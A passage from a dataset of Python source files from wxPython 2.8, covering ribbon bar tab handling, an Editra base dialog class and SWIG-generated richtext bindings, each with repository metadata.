self._tab_scroll_buttons_shown and not tabs_rect.Intersects(rect): \n continue\n \n dc.DestroyClippingRegion()\n dc.SetClippingRect(rect)\n self._art.DrawTabSeparator(dc, self, rect, sep_visibility)\n\n if self._tab_scroll_buttons_shown: \n dc.DestroyClippingRegion()\n if self._tab_scroll_left_button_rect.GetWidth() != 0: \n self._art.DrawScrollButton(dc, self, self._tab_scroll_left_button_rect, RIBBON_SCROLL_BTN_LEFT |\n self._tab_scroll_left_button_state | RIBBON_SCROLL_BTN_FOR_TABS)\n \n if self._tab_scroll_right_button_rect.GetWidth() != 0: \n self._art.DrawScrollButton(dc, self, self._tab_scroll_right_button_rect, RIBBON_SCROLL_BTN_RIGHT |\n self._tab_scroll_right_button_state | RIBBON_SCROLL_BTN_FOR_TABS)\n \n\n def OnEraseBackground(self, event):\n\n # Background painting done in main paint handler to reduce screen flicker\n pass\n\n\n def DoEraseBackground(self, dc):\n\n tabs = wx.Rect(0, 0, *self.GetSize())\n tabs.height = self._tab_height\n self._art.DrawTabCtrlBackground(dc, self, tabs)\n\n\n def OnSize(self, event):\n\n self.RecalculateTabSizes()\n if self._current_page != -1:\n self.RepositionPage(self._pages[self._current_page].page)\n\n self.RefreshTabBar()\n event.Skip()\n\n\n def RepositionPage(self, page):\n\n w, h = self.GetSize()\n page.SetSizeWithScrollButtonAdjustment(0, self._tab_height, w, h - self._tab_height)\n\n\n def HitTestTabs(self, position):\n\n tabs_rect = wx.Rect(self._tab_margin_left, 0, self.GetClientSize().GetWidth() - self._tab_margin_left - self._tab_margin_right, self._tab_height)\n \n if self._tab_scroll_buttons_shown: \n tabs_rect.SetX(tabs_rect.GetX() + self._tab_scroll_left_button_rect.GetWidth())\n tabs_rect.SetWidth(tabs_rect.GetWidth() - self._tab_scroll_left_button_rect.GetWidth() - self._tab_scroll_right_button_rect.GetWidth())\n \n if tabs_rect.Contains(position):\n for i, info in enumerate(self._pages):\n if info.rect.Contains(position):\n return i, info\n\n return -1, None\n\n\n def OnMouseLeftDown(self, event):\n\n index, tab = self.HitTestTabs(event.GetPosition())\n if tab and tab != self._pages[self._current_page]:\n query = RibbonBarEvent(wxEVT_COMMAND_RIBBONBAR_PAGE_CHANGING, self.GetId(), tab.page)\n query.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(query)\n\n if query.IsAllowed(): \n self.SetActivePage(query.GetPage())\n notification = RibbonBarEvent(wxEVT_COMMAND_RIBBONBAR_PAGE_CHANGED, self.GetId(), self._pages[self._current_page].page)\n notification.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(notification)\n \n elif tab == None:\n if self._tab_scroll_left_button_rect.Contains(event.GetPosition()):\n self._tab_scroll_left_button_state |= RIBBON_SCROLL_BTN_ACTIVE | RIBBON_SCROLL_BTN_HOVERED\n self.RefreshTabBar()\n \n elif self._tab_scroll_right_button_rect.Contains(event.GetPosition()):\n self._tab_scroll_right_button_state |= RIBBON_SCROLL_BTN_ACTIVE | RIBBON_SCROLL_BTN_HOVERED\n self.RefreshTabBar()\n \n \n def OnMouseLeftUp(self, event):\n\n if not self._tab_scroll_buttons_shown:\n return\n \n amount = 0\n \n if self._tab_scroll_left_button_state & RIBBON_SCROLL_BTN_ACTIVE: \n amount = -1\n \n elif self._tab_scroll_right_button_state & RIBBON_SCROLL_BTN_ACTIVE: \n amount = 1\n \n if amount != 0:\n self._tab_scroll_left_button_state &= ~RIBBON_SCROLL_BTN_ACTIVE\n self._tab_scroll_right_button_state &= ~RIBBON_SCROLL_BTN_ACTIVE\n self.ScrollTabBar(amount*8)\n \n\n def ScrollTabBar(self, amount):\n\n show_left = True\n show_right = True\n \n if self._tab_scroll_amount + amount <= 0:\n amount = -self._tab_scroll_amount\n show_left = False\n \n elif self._tab_scroll_amount + amount + (self.GetClientSize().GetWidth() - \\\n self._tab_margin_left - self._tab_margin_right) >= \\\n self._tabs_total_width_minimum:\n amount = self._tabs_total_width_minimum - self._tab_scroll_amount - \\\n (self.GetClientSize().GetWidth() - self._tab_margin_left - self._tab_margin_right)\n show_right = False\n \n if amount == 0:\n return\n \n self._tab_scroll_amount += amount\n for info in self._pages:\n info.rect.SetX(info.rect.GetX() - amount)\n \n if show_right != (self._tab_scroll_right_button_rect.GetWidth() != 0) or \\\n show_left != (self._tab_scroll_left_button_rect.GetWidth() != 0):\n \n temp_dc = wx.ClientDC(self)\n \n if show_left: \n self._tab_scroll_left_button_rect.SetWidth(self._art.GetScrollButtonMinimumSize(temp_dc, self, RIBBON_SCROLL_BTN_LEFT |\n RIBBON_SCROLL_BTN_NORMAL |\n RIBBON_SCROLL_BTN_FOR_TABS).GetWidth())\n else: \n self._tab_scroll_left_button_rect.SetWidth(0)\n \n if show_right: \n if self._tab_scroll_right_button_rect.GetWidth() == 0: \n self._tab_scroll_right_button_rect.SetWidth(self._art.GetScrollButtonMinimumSize(temp_dc, self,\n RIBBON_SCROLL_BTN_RIGHT |\n RIBBON_SCROLL_BTN_NORMAL |\n RIBBON_SCROLL_BTN_FOR_TABS).GetWidth())\n self._tab_scroll_right_button_rect.SetX(self._tab_scroll_right_button_rect.GetX() - self._tab_scroll_right_button_rect.GetWidth())\n else:\n \n if self._tab_scroll_right_button_rect.GetWidth() != 0: \n self._tab_scroll_right_button_rect.SetX(self._tab_scroll_right_button_rect.GetX() + self._tab_scroll_right_button_rect.GetWidth())\n self._tab_scroll_right_button_rect.SetWidth(0)\n \n self.RefreshTabBar()\n\n\n def RefreshTabBar(self):\n\n tab_rect = wx.Rect(0, 0, self.GetClientSize().GetWidth(), self._tab_height)\n self.Refresh(False, tab_rect)\n\n\n def OnMouseMiddleDown(self, event):\n\n self.DoMouseButtonCommon(event, wxEVT_COMMAND_RIBBONBAR_TAB_MIDDLE_DOWN)\n\n\n def OnMouseMiddleUp(self, event):\n\n self.DoMouseButtonCommon(event, wxEVT_COMMAND_RIBBONBAR_TAB_MIDDLE_UP)\n\n\n def OnMouseRightDown(self, event):\n\n self.DoMouseButtonCommon(event, wxEVT_COMMAND_RIBBONBAR_TAB_RIGHT_DOWN)\n\n\n def OnMouseRightUp(self, event):\n\n self.DoMouseButtonCommon(event, wxEVT_COMMAND_RIBBONBAR_TAB_RIGHT_UP)\n\n\n def DoMouseButtonCommon(self, event, tab_event_type):\n\n index, tab = self.HitTestTabs(event.GetPosition())\n \n if tab: \n notification = RibbonBarEvent(tab_event_type, self.GetId(), tab.page)\n notification.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(notification)\n\n\n def RecalculateMinSize(self):\n\n min_size = wx.Size(-1, -1)\n numtabs = len(self._pages)\n \n if numtabs != 0:\n min_size = wx.Size(*self._pages[0].page.GetMinSize())\n\n for info in self._pages:\n page_min = info.page.GetMinSize()\n min_size.x = max(min_size.x, page_min.x)\n min_size.y = max(min_size.y, page_min.y)\n \n if min_size.y != -1:\n # TODO: Decide on best course of action when min height is unspecified\n # - should we specify it to the tab minimum, or leave it unspecified?\n min_size.IncBy(0, self._tab_height)\n\n self._minWidth = min_size.GetWidth()\n self._minHeight = min_size.GetHeight()\n\n\n def DoGetBestSize(self):\n\n best = wx.Size(0, 0)\n \n if self._current_page != -1:\n best = wx.Size(*self._pages[self._current_page].page.GetBestSize())\n\n if best.GetHeight() == -1:\n best.SetHeight(self._tab_height)\n else: \n best.IncBy(0, self._tab_height)\n\n return best\n\n\n def HasMultiplePages(self):\n\n return True\n\n\n def GetDefaultBorder(self):\n\n return wx.BORDER_NONE\n\n \n", "id": "4606383", "language": "Python", "matching_score": 4.183859825134277, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/ribbon/bar.py" }, { "content": "\"\"\"\nThe RibbonBar library is a set of classes for writing a ribbon user interface.\nAt the most generic level, this is a combination of a tab control with a toolbar.\nAt a more functional level, it is similar to the user interface present in recent\nversions of Microsoft Office.\n\nA ribbon user interface typically has a ribbon bar, which contains one or more\nRibbonPages, which in turn each contains one or more RibbonPanels, which in turn\ncontain controls.\n\"\"\"\n\nfrom art import *\nfrom art_aui import *\nfrom art_internal import *\nfrom art_msw import *\nfrom art_default import *\n\nfrom bar import *\nfrom buttonbar import *\nfrom control import *\nfrom gallery import *\n\nfrom page import *\nfrom panel import *\nfrom toolbar import *\n\n", "id": "6951748", "language": "Python", "matching_score": 0.2782314121723175, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/ribbon/__init__.py" }, { "content": "# ============================================================== #\n# This is now just a stub, importing the real module which lives #\n# under wx.lib.agw.\n# ============================================================== #\n\n\"\"\"\nAttention! ButtonPanel now lives in wx.lib.agw, together with\nits friends in the Advanced Generic Widgets family.\n\nPlease update your code!\n\"\"\"\n\nfrom wx.lib.agw.buttonpanel import *", "id": "11093468", "language": "Python", "matching_score": 0.7459161877632141, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/buttonpanel.py" }, { "content": "###############################################################################\n# Name: ecbasewin.py #\n# Purpose: Eclib Base Window Classes #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nEditra Control Library: Base Window Classes\n\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ecbasewin.py 66817 2011-01-29 21:32:20Z CJP $\"\n__revision__ = \"$Revision: 66817 $\"\n\n__all__ = [\"ECBaseDlg\", \"expose\"]\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\n\n#-----------------------------------------------------------------------------#\n# Decorators\n\nclass expose(object):\n \"\"\"Expose a panels method to a to a specified class\n The specified class must have a GetPanel method\n\n \"\"\"\n def __init__(self, cls):\n \"\"\"@param cls: class to expose the method to\"\"\"\n super(expose, self).__init__()\n self.cls = cls\n\n def __call__(self, funct):\n fname = funct.func_name\n def parentmeth(*args, **kwargs):\n self = args[0]\n return getattr(self.GetPanel(), fname)(*args[1:], **kwargs)\n parentmeth.__name__ = funct.__name__\n parentmeth.__doc__ = funct.__doc__\n setattr(self.cls, fname, parentmeth)\n\n return funct\n\n#-----------------------------------------------------------------------------#\n\nclass ECBaseDlg(wx.Dialog):\n \"\"\"Editra Control Library Base Dialog Class\"\"\"\n def __init__(self, parent, id=wx.ID_ANY, title=u\"\",\n pos=wx.DefaultPosition, size=wx.DefaultSize, \n style=wx.DEFAULT_DIALOG_STYLE, name=u\"ECBaseDialog\"):\n super(ECBaseDlg, self).__init__(parent, id, title, pos,\n size, style, name)\n\n # Attributes\n self._panel = None\n self._sizer = wx.BoxSizer(wx.VERTICAL)\n\n # Setup\n self.SetSizer(self._sizer)\n\n Panel = property(lambda self: self._panel,\n lambda self, val: setattr(self, '_panel', val))\n\n def GetPanel(self):\n \"\"\"Get the dialogs main panel\"\"\"\n return self._panel\n\n def SetPanel(self, panel):\n \"\"\"Set the dialogs main panel\"\"\"\n assert isinstance(panel, wx.Panel)\n if self._panel is not None:\n self._panel.Destroy()\n self._panel = panel\n self._sizer.Add(self._panel, 1, wx.EXPAND)\n", "id": "8443268", "language": "Python", "matching_score": 0.4639900326728821, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/eclib/ecbasewin.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\nimport _richtext\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nUSE_TEXTATTREX = _richtext.USE_TEXTATTREX\nimport _windows\nimport _core\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \nTEXT_ALIGNMENT_DEFAULT = _richtext.TEXT_ALIGNMENT_DEFAULT\nTEXT_ALIGNMENT_LEFT = _richtext.TEXT_ALIGNMENT_LEFT\nTEXT_ALIGNMENT_CENTRE = _richtext.TEXT_ALIGNMENT_CENTRE\nTEXT_ALIGNMENT_CENTER = _richtext.TEXT_ALIGNMENT_CENTER\nTEXT_ALIGNMENT_RIGHT = _richtext.TEXT_ALIGNMENT_RIGHT\nTEXT_ALIGNMENT_JUSTIFIED = _richtext.TEXT_ALIGNMENT_JUSTIFIED\n#---------------------------------------------------------------------------\n\nRICHTEXT_TYPE_ANY = _richtext.RICHTEXT_TYPE_ANY\nRICHTEXT_TYPE_TEXT = _richtext.RICHTEXT_TYPE_TEXT\nRICHTEXT_TYPE_XML = _richtext.RICHTEXT_TYPE_XML\nRICHTEXT_TYPE_HTML = _richtext.RICHTEXT_TYPE_HTML\nRICHTEXT_TYPE_RTF = _richtext.RICHTEXT_TYPE_RTF\nRICHTEXT_TYPE_PDF = _richtext.RICHTEXT_TYPE_PDF\nRICHTEXT_FIXED_WIDTH = _richtext.RICHTEXT_FIXED_WIDTH\nRICHTEXT_FIXED_HEIGHT = _richtext.RICHTEXT_FIXED_HEIGHT\nRICHTEXT_VARIABLE_WIDTH = _richtext.RICHTEXT_VARIABLE_WIDTH\nRICHTEXT_VARIABLE_HEIGHT = _richtext.RICHTEXT_VARIABLE_HEIGHT\nRICHTEXT_LAYOUT_SPECIFIED_RECT = _richtext.RICHTEXT_LAYOUT_SPECIFIED_RECT\nRICHTEXT_DRAW_IGNORE_CACHE = _richtext.RICHTEXT_DRAW_IGNORE_CACHE\nRICHTEXT_HITTEST_NONE = _richtext.RICHTEXT_HITTEST_NONE\nRICHTEXT_HITTEST_BEFORE = _richtext.RICHTEXT_HITTEST_BEFORE\nRICHTEXT_HITTEST_AFTER = _richtext.RICHTEXT_HITTEST_AFTER\nRICHTEXT_HITTEST_ON = _richtext.RICHTEXT_HITTEST_ON\nRICHTEXT_HITTEST_OUTSIDE = _richtext.RICHTEXT_HITTEST_OUTSIDE\nRICHTEXT_FORMATTED = _richtext.RICHTEXT_FORMATTED\nRICHTEXT_UNFORMATTED = _richtext.RICHTEXT_UNFORMATTED\nRICHTEXT_CACHE_SIZE = _richtext.RICHTEXT_CACHE_SIZE\nRICHTEXT_HEIGHT_ONLY = _richtext.RICHTEXT_HEIGHT_ONLY\nRICHTEXT_SETSTYLE_NONE = _richtext.RICHTEXT_SETSTYLE_NONE\nRICHTEXT_SETSTYLE_WITH_UNDO = _richtext.RICHTEXT_SETSTYLE_WITH_UNDO\nRICHTEXT_SETSTYLE_OPTIMIZE = _richtext.RICHTEXT_SETSTYLE_OPTIMIZE\nRICHTEXT_SETSTYLE_PARAGRAPHS_ONLY = _richtext.RICHTEXT_SETSTYLE_PARAGRAPHS_ONLY\nRICHTEXT_SETSTYLE_CHARACTERS_ONLY = _richtext.RICHTEXT_SETSTYLE_CHARACTERS_ONLY\nRICHTEXT_SETSTYLE_RENUMBER = _richtext.RICHTEXT_SETSTYLE_RENUMBER\nRICHTEXT_SETSTYLE_SPECIFY_LEVEL = _richtext.RICHTEXT_SETSTYLE_SPECIFY_LEVEL\nRICHTEXT_SETSTYLE_RESET = _richtext.RICHTEXT_SETSTYLE_RESET\nRICHTEXT_SETSTYLE_REMOVE = _richtext.RICHTEXT_SETSTYLE_REMOVE\nRICHTEXT_INSERT_NONE = _richtext.RICHTEXT_INSERT_NONE\nRICHTEXT_INSERT_WITH_PREVIOUS_PARAGRAPH_STYLE = _richtext.RICHTEXT_INSERT_WITH_PREVIOUS_PARAGRAPH_STYLE\nRICHTEXT_INSERT_INTERACTIVE = _richtext.RICHTEXT_INSERT_INTERACTIVE\nTEXT_ATTR_TEXT_COLOUR = _richtext.TEXT_ATTR_TEXT_COLOUR\nTEXT_ATTR_BACKGROUND_COLOUR = _richtext.TEXT_ATTR_BACKGROUND_COLOUR\nTEXT_ATTR_FONT_FACE = _richtext.TEXT_ATTR_FONT_FACE\nTEXT_ATTR_FONT_SIZE = _richtext.TEXT_ATTR_FONT_SIZE\nTEXT_ATTR_FONT_WEIGHT = _richtext.TEXT_ATTR_FONT_WEIGHT\nTEXT_ATTR_FONT_ITALIC = _richtext.TEXT_ATTR_FONT_ITALIC\nTEXT_ATTR_FONT_UNDERLINE = _richtext.TEXT_ATTR_FONT_UNDERLINE\nTEXT_ATTR_FONT = _richtext.TEXT_ATTR_FONT\nTEXT_ATTR_ALIGNMENT = _richtext.TEXT_ATTR_ALIGNMENT\nTEXT_ATTR_LEFT_INDENT = _richtext.TEXT_ATTR_LEFT_INDENT\nTEXT_ATTR_RIGHT_INDENT = _richtext.TEXT_ATTR_RIGHT_INDENT\nTEXT_ATTR_TABS = _richtext.TEXT_ATTR_TABS\nTEXT_ATTR_PARA_SPACING_AFTER = _richtext.TEXT_ATTR_PARA_SPACING_AFTER\nTEXT_ATTR_PARA_SPACING_BEFORE = _richtext.TEXT_ATTR_PARA_SPACING_BEFORE\nTEXT_ATTR_LINE_SPACING = _richtext.TEXT_ATTR_LINE_SPACING\nTEXT_ATTR_CHARACTER_STYLE_NAME = _richtext.TEXT_ATTR_CHARACTER_STYLE_NAME\nTEXT_ATTR_PARAGRAPH_STYLE_NAME = _richtext.TEXT_ATTR_PARAGRAPH_STYLE_NAME\nTEXT_ATTR_BULLET_STYLE = _richtext.TEXT_ATTR_BULLET_STYLE\nTEXT_ATTR_BULLET_NUMBER = _richtext.TEXT_ATTR_BULLET_NUMBER\nTEXT_ATTR_BULLET_TEXT = _richtext.TEXT_ATTR_BULLET_TEXT\nTEXT_ATTR_BULLET_NAME = _richtext.TEXT_ATTR_BULLET_NAME\nTEXT_ATTR_URL = _richtext.TEXT_ATTR_URL\nTEXT_ATTR_PAGE_BREAK = _richtext.TEXT_ATTR_PAGE_BREAK\nTEXT_ATTR_EFFECTS = _richtext.TEXT_ATTR_EFFECTS\nTEXT_ATTR_OUTLINE_LEVEL = _richtext.TEXT_ATTR_OUTLINE_LEVEL\nTEXT_ATTR_KEEP_FIRST_PARA_STYLE = _richtext.TEXT_ATTR_KEEP_FIRST_PARA_STYLE\nTEXT_ATTR_BULLET_STYLE_NONE = _richtext.TEXT_ATTR_BULLET_STYLE_NONE\nTEXT_ATTR_BULLET_STYLE_ARABIC = _richtext.TEXT_ATTR_BULLET_STYLE_ARABIC\nTEXT_ATTR_BULLET_STYLE_LETTERS_UPPER = _richtext.TEXT_ATTR_BULLET_STYLE_LETTERS_UPPER\nTEXT_ATTR_BULLET_STYLE_LETTERS_LOWER = _richtext.TEXT_ATTR_BULLET_STYLE_LETTERS_LOWER\nTEXT_ATTR_BULLET_STYLE_ROMAN_UPPER = _richtext.TEXT_ATTR_BULLET_STYLE_ROMAN_UPPER\nTEXT_ATTR_BULLET_STYLE_ROMAN_LOWER = _richtext.TEXT_ATTR_BULLET_STYLE_ROMAN_LOWER\nTEXT_ATTR_BULLET_STYLE_SYMBOL = _richtext.TEXT_ATTR_BULLET_STYLE_SYMBOL\nTEXT_ATTR_BULLET_STYLE_BITMAP = _richtext.TEXT_ATTR_BULLET_STYLE_BITMAP\nTEXT_ATTR_BULLET_STYLE_PARENTHESES = _richtext.TEXT_ATTR_BULLET_STYLE_PARENTHESES\nTEXT_ATTR_BULLET_STYLE_PERIOD = _richtext.TEXT_ATTR_BULLET_STYLE_PERIOD\nTEXT_ATTR_BULLET_STYLE_STANDARD = _richtext.TEXT_ATTR_BULLET_STYLE_STANDARD\nTEXT_ATTR_BULLET_STYLE_RIGHT_PARENTHESIS = _richtext.TEXT_ATTR_BULLET_STYLE_RIGHT_PARENTHESIS\nTEXT_ATTR_BULLET_STYLE_OUTLINE = _richtext.TEXT_ATTR_BULLET_STYLE_OUTLINE\nTEXT_ATTR_BULLET_STYLE_ALIGN_LEFT = _richtext.TEXT_ATTR_BULLET_STYLE_ALIGN_LEFT\nTEXT_ATTR_BULLET_STYLE_ALIGN_RIGHT = _richtext.TEXT_ATTR_BULLET_STYLE_ALIGN_RIGHT\nTEXT_ATTR_BULLET_STYLE_ALIGN_CENTRE = _richtext.TEXT_ATTR_BULLET_STYLE_ALIGN_CENTRE\nTEXT_ATTR_EFFECT_NONE = _richtext.TEXT_ATTR_EFFECT_NONE\nTEXT_ATTR_EFFECT_CAPITALS = _richtext.TEXT_ATTR_EFFECT_CAPITALS\nTEXT_ATTR_EFFECT_SMALL_CAPITALS = _richtext.TEXT_ATTR_EFFECT_SMALL_CAPITALS\nTEXT_ATTR_EFFECT_STRIKETHROUGH = _richtext.TEXT_ATTR_EFFECT_STRIKETHROUGH\nTEXT_ATTR_EFFECT_DOUBLE_STRIKETHROUGH = _richtext.TEXT_ATTR_EFFECT_DOUBLE_STRIKETHROUGH\nTEXT_ATTR_EFFECT_SHADOW = _richtext.TEXT_ATTR_EFFECT_SHADOW\nTEXT_ATTR_EFFECT_EMBOSS = _richtext.TEXT_ATTR_EFFECT_EMBOSS\nTEXT_ATTR_EFFECT_OUTLINE = _richtext.TEXT_ATTR_EFFECT_OUTLINE\nTEXT_ATTR_EFFECT_ENGRAVE = _richtext.TEXT_ATTR_EFFECT_ENGRAVE\nTEXT_ATTR_EFFECT_SUPERSCRIPT = _richtext.TEXT_ATTR_EFFECT_SUPERSCRIPT\nTEXT_ATTR_EFFECT_SUBSCRIPT = _richtext.TEXT_ATTR_EFFECT_SUBSCRIPT\nTEXT_ATTR_LINE_SPACING_NORMAL = _richtext.TEXT_ATTR_LINE_SPACING_NORMAL\nTEXT_ATTR_LINE_SPACING_HALF = _richtext.TEXT_ATTR_LINE_SPACING_HALF\nTEXT_ATTR_LINE_SPACING_TWICE = _richtext.TEXT_ATTR_LINE_SPACING_TWICE\nTEXT_ATTR_CHARACTER = _richtext.TEXT_ATTR_CHARACTER\nTEXT_ATTR_PARAGRAPH = _richtext.TEXT_ATTR_PARAGRAPH\nTEXT_ATTR_ALL = _richtext.TEXT_ATTR_ALL\n#---------------------------------------------------------------------------\n\nclass RichTextRange(object):\n \"\"\"\n RichTextRange is a data structure that represents a range of text\n within a `RichTextCtrl`. It simply contains integer ``start`` and\n ``end`` properties and a few operations useful for dealing with\n ranges. In most places in wxPython where a RichTextRange is expected a\n 2-tuple containing (start, end) can be used instead.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, long start=0, long end=0) -> RichTextRange\n\n Creates a new range object.\n \"\"\"\n _richtext.RichTextRange_swiginit(self,_richtext.new_RichTextRange(*args, **kwargs))\n __swig_destroy__ = _richtext.delete_RichTextRange\n __del__ = lambda self : None;\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Test for equality of RichTextRange objects.\n \"\"\"\n return _richtext.RichTextRange___eq__(*args, **kwargs)\n\n def __sub__(*args, **kwargs):\n \"\"\"__sub__(self, RichTextRange range) -> RichTextRange\"\"\"\n return _richtext.RichTextRange___sub__(*args, **kwargs)\n\n def __add__(*args, **kwargs):\n \"\"\"__add__(self, RichTextRange range) -> RichTextRange\"\"\"\n return _richtext.RichTextRange___add__(*args, **kwargs)\n\n def SetRange(*args, **kwargs):\n \"\"\"SetRange(self, long start, long end)\"\"\"\n return _richtext.RichTextRange_SetRange(*args, **kwargs)\n\n def SetStart(*args, **kwargs):\n \"\"\"SetStart(self, long start)\"\"\"\n return _richtext.RichTextRange_SetStart(*args, **kwargs)\n\n def GetStart(*args, **kwargs):\n \"\"\"GetStart(self) -> long\"\"\"\n return _richtext.RichTextRange_GetStart(*args, **kwargs)\n\n start = property(GetStart, SetStart) \n def SetEnd(*args, **kwargs):\n \"\"\"SetEnd(self, long end)\"\"\"\n return _richtext.RichTextRange_SetEnd(*args, **kwargs)\n\n def GetEnd(*args, **kwargs):\n \"\"\"GetEnd(self) -> long\"\"\"\n return _richtext.RichTextRange_GetEnd(*args, **kwargs)\n\n end = property(GetEnd, SetEnd) \n def IsOutside(*args, **kwargs):\n \"\"\"\n IsOutside(self, RichTextRange range) -> bool\n\n Returns true if this range is completely outside 'range'\n \"\"\"\n return _richtext.RichTextRange_IsOutside(*args, **kwargs)\n\n def IsWithin(*args, **kwargs):\n \"\"\"\n IsWithin(self, RichTextRange range) -> bool\n\n Returns true if this range is completely within 'range'\n \"\"\"\n return _richtext.RichTextRange_IsWithin(*args, **kwargs)\n\n def Contains(*args, **kwargs):\n \"\"\"\n Contains(self, long pos) -> bool\n\n Returns true if the given position is within this range. Allow for the\n possibility of an empty range - assume the position is within this\n empty range.\n \"\"\"\n return _richtext.RichTextRange_Contains(*args, **kwargs)\n\n def LimitTo(*args, **kwargs):\n \"\"\"\n LimitTo(self, RichTextRange range) -> bool\n\n Limit this range to be within 'range'\n \"\"\"\n return _richtext.RichTextRange_LimitTo(*args, **kwargs)\n\n def GetLength(*args, **kwargs):\n \"\"\"\n GetLength(self) -> long\n\n Gets the length of the range\n \"\"\"\n return _richtext.RichTextRange_GetLength(*args, **kwargs)\n\n def Swap(*args, **kwargs):\n \"\"\"\n Swap(self)\n\n Swaps the start and end\n \"\"\"\n return _richtext.RichTextRange_Swap(*args, **kwargs)\n\n def ToInternal(*args, **kwargs):\n \"\"\"\n ToInternal(self) -> RichTextRange\n\n Convert to internal form: (n, n) is the range of a single character.\n \"\"\"\n return _richtext.RichTextRange_ToInternal(*args, **kwargs)\n\n def FromInternal(*args, **kwargs):\n \"\"\"\n FromInternal(self) -> RichTextRange\n\n Convert from internal to public API form: (n, n+1) is the range of a\n single character.\n \"\"\"\n return _richtext.RichTextRange_FromInternal(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"\n Get() -> (start,end)\n\n Returns the start and end properties as a tuple.\n \"\"\"\n return _richtext.RichTextRange_Get(*args, **kwargs)\n\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'RichTextRange'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.start = val\n elif index == 1: self.end = val\n else: raise IndexError\n def __nonzero__(self): return self.Get() != (0,0)\n __safe_for_unpickling__ = True\n def __reduce__(self): return (RichTextRange, self.Get())\n\n End = property(GetEnd,SetEnd,doc=\"See `GetEnd` and `SetEnd`\") \n Length = property(GetLength,doc=\"See `GetLength`\") \n Start = property(GetStart,SetStart,doc=\"See `GetStart` and `SetStart`\") \n_richtext.RichTextRange_swigregister(RichTextRange)\n\n#---------------------------------------------------------------------------\n\nclass TextAttrEx(object):\n \"\"\"\n The TextAttrEx class stores information about the various attributes\n for a block of text, including font, colour, indents, alignments, and\n etc.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> TextAttrEx\n\n The TextAttrEx class stores information about the various attributes\n for a block of text, including font, colour, indents, alignments, and\n etc.\n \"\"\"\n _richtext.TextAttrEx_swiginit(self,_richtext.new_TextAttrEx(*args, **kwargs))\n __swig_destroy__ = _richtext.delete_TextAttrEx\n __del__ = lambda self : None;\n def Init(*args, **kwargs):\n \"\"\"Init(self)\"\"\"\n return _richtext.TextAttrEx_Init(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, TextAttrEx attr)\"\"\"\n return _richtext.TextAttrEx_Copy(*args, **kwargs)\n\n def SetTextColour(*args, **kwargs):\n \"\"\"SetTextColour(self, Colour colText)\"\"\"\n return _richtext.TextAttrEx_SetTextColour(*args, **kwargs)\n\n def SetBackgroundColour(*args, **kwargs):\n \"\"\"SetBackgroundColour(self, Colour colBack)\"\"\"\n return _richtext.TextAttrEx_SetBackgroundColour(*args, **kwargs)\n\n def SetFont(*args, **kwargs):\n \"\"\"SetFont(self, Font font, long flags=TEXT_ATTR_FONT)\"\"\"\n return _richtext.TextAttrEx_SetFont(*args, **kwargs)\n\n def SetAlignment(*args, **kwargs):\n \"\"\"SetAlignment(self, int alignment)\"\"\"\n return _richtext.TextAttrEx_SetAlignment(*args, **kwargs)\n\n def SetTabs(*args, **kwargs):\n \"\"\"SetTabs(self, wxArrayInt tabs)\"\"\"\n return _richtext.TextAttrEx_SetTabs(*args, **kwargs)\n\n def SetLeftIndent(*args, **kwargs):\n \"\"\"SetLeftIndent(self, int indent, int subIndent=0)\"\"\"\n return _richtext.TextAttrEx_SetLeftIndent(*args, **kwargs)\n\n def SetRightIndent(*args, **kwargs):\n \"\"\"SetRightIndent(self, int indent)\"\"\"\n return _richtext.TextAttrEx_SetRightIndent(*args, **kwargs)\n\n def SetFlags(*args, **kwargs):\n \"\"\"SetFlags(self, long flags)\"\"\"\n return 